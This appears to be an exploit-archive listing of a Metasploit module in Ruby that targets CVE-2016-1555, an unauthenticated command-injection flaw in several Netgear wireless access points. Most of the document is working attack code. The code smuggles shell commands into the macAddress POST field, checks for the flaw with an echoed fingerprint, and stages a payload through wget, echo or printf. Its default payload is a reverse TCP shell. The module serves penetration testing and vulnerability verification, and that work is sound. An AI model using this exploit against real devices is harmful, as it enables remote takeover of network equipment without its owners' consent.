Netgear Devices Unauthenticated Remote Command Execution (Metasploit)

2018.11.28
Credit: Metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Netgear Devices Unauthenticated Remote Command Execution', 'Description' => %q{ From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute arbitrary commands. }, 'Author' => [ 'Daming Dominic Chen <ddchen[at]cs.cmu.edu>', # Vuln discovery 'Imran Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-1555'], ['URL', 'https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic'], ['PACKETSTORM', '135956'], ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/112'] ], 'DisclosureDate' => 'Feb 25 2016', # According to http://seclists.org/fulldisclosure/2016/Feb/112 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, 'Payload' => {}, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp', 'WfsDelay' => 10 }, 'Targets' => [['Automatic', { }]], 'CmdStagerFlavor'=> %w{ echo printf wget }, 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'Path of the vulnerable URI.', '/boardDataWW.php']), # boardDataWW.php OptString.new('MAC_ADDRESS', [true, 'MAC address to use (default: random)', Rex::Text.rand_text_hex(12)]) ]) end # check for vulnerability existence def check fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response res = execute_command("echo #{fingerprint}") # the raw POST response unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 return CheckCode::Safe end unless res.get_html_document.at('input').to_s.include? fingerprint return CheckCode::Safe end CheckCode::Vulnerable end # execute a command, or simply send a POST request def execute_command(cmd, opts = {}) vars_post = { 'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};", 'reginfo' => '1', 'writeData' => 'Submit' } send_request_cgi({ 'method' => 'POST', 'headers' => { 'Connection' => 'Keep-Alive' }, 'uri' => normalize_uri(target_uri.path), 'vars_post' => vars_post }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!") end # the exploit method def exploit #run a check before attempting to exploit unless [CheckCode::Vulnerable].include? check fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!' end execute_cmdstager(linemax: 2048) # maximum 130,000 end end


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